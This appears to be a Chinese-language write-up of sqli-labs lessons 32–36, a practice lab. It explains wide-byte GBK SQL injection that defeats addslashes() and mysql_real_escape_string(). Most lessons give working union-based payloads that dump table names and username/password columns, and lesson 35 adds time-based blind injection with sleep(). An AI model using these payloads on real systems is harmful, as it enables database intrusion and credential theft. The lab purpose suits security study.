lesson32_36

宽字节注入

宽字节:GB2312、GBK、GB18030、BIG5、shift_JIS等就是常说的宽字节,实际上只有两个字节。宽字节带来的安全问题主要是ascii字符(一字节)的现象,即将两个ASCII字符误认为一个宽字节字符。中文、韩文、日文等均存在宽字节,英文默认一个字节。

在使用PHP连接MySQL的时候,当设置”set character set client + gbk”

例子:id=1‘ 处理1' 进行编码 1%5c%27 带入sql后进行id=' and XXX此时无法完成注入

​ id=1%df 处理1%df\进行编码1%df%5c%27 带入sql后id=1運’ andXXX此时存在宽字节注入漏洞

lesson 32

观察代码

QQ截图20220213195156.png

这段代码的作用就是在我们输入的特殊符号单引号前面加上一个\,来转意

QQ截图20220213195626.png

宽字节注入,就是把这个转意用的\,又转意成宽字节,使我们的注入成功

在前面加上%81-%FE中可以成功转意的我们这里用%bb来举例

用联合注入

?id=-1%bb’union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()–+

QQ截图20220213200704.png

用字符转16进制

?id=-1%bb’union select 1,database(),group_concat(column_name)from information_schema.columns where table_name=0x7573657273–+

QQ截图20220213202357.png

?id=-1%bb’union select 1,database(),group_concat(concat_ws(0x7e,username,password))from users–+

lesson 33

和lesson32差不多,应用了addslashes()函数——在双引号(预定符号)前加入反斜杠。payload也一样

lesson 34

很明显的是用post进行的传参,

QQ截图20220213221348.png

首先burpsuite抓包拦截一下数据

QQ截图20220213221313.png

所以username对于uname,password对应着passwd,还有一行submit

首先对其进行单引号的包裹试探

QQ截图20220213224544.png

发现前面加上了\进行转义,于是乎套用宽字节注入,然而注入失败发现注入内容变成了一个之前从来没见过的符号

QQ截图20220213224833.png

对其进行抓包来寻找问题的出处,这时发现我们的%被转意了

QQ截图20220213225106.png

于是直接对抓包内容进行修改(宽字节注入)

QQ截图20220213225311.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
HTTP/1.1 200 OK
Date: Sun, 13 Feb 2022 14:42:24 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.6.9
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1758

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-34- Bypass Add SLASHES</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>

<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">

<div style="padding-top:10px; font-size:15px;">


<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
<input type="text" name="uname" value=""/>
</div>
<div> Password : &nbsp;&nbsp;&nbsp;
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>

</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">
<center>
<br>
<br>
<br>
<img src="../images/Less-34.jpg" />
</center>






<br><font color= "#FFFF00" font size = 4><font size="3" color="#0000ff"><br>Your Login name:1<br>Your Password:2<br></font><br><br><img src="../images/flag.jpg" /></font>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
Hint: The Username you input is escaped as : aß\' union select 1,2#<br>Hint: The Password you input is escaped as : n<br>
</font>
</div>
</body>
</html>

倒数第12行看到我们注入成功了,后面明显我们可以套用联合查询来注入

网上一直在传的方法二

get型注入是直接以url形式提交的,而post型就会对数据进行urlencode处理

所以使

�’ union select 1,database()#

来注入,

QQ截图20220214155510.png

QQ截图20220214155606.png

lesson 35

首先是多次尝试发现没有对数据进行包裹

?id=-1 union select 1,database(),3–+

QQ截图20220214164727.png

?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()–+

QQ截图20220214165031.png

然后发现连数据都不包裹的,竟然还会把我的单引号注释掉

使用16进制来绕过注释

时间(延迟)注入

?id=1 and if( length(database())=1,sleep(3),1 )–+

?id=1 and if( left(database(),1)=’s’,sleep(3),1 )–+

lesson 36

使用了mysql_real_escape_string()函数来进行过滤,对于该函数而言,它会转义

\x00 \n \r ‘ “ \x1a

是用单引号来对数据进行包裹

并且不出以外的有宽字节注入

?id=-1%df’union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()–+

QQ截图20220214183150.png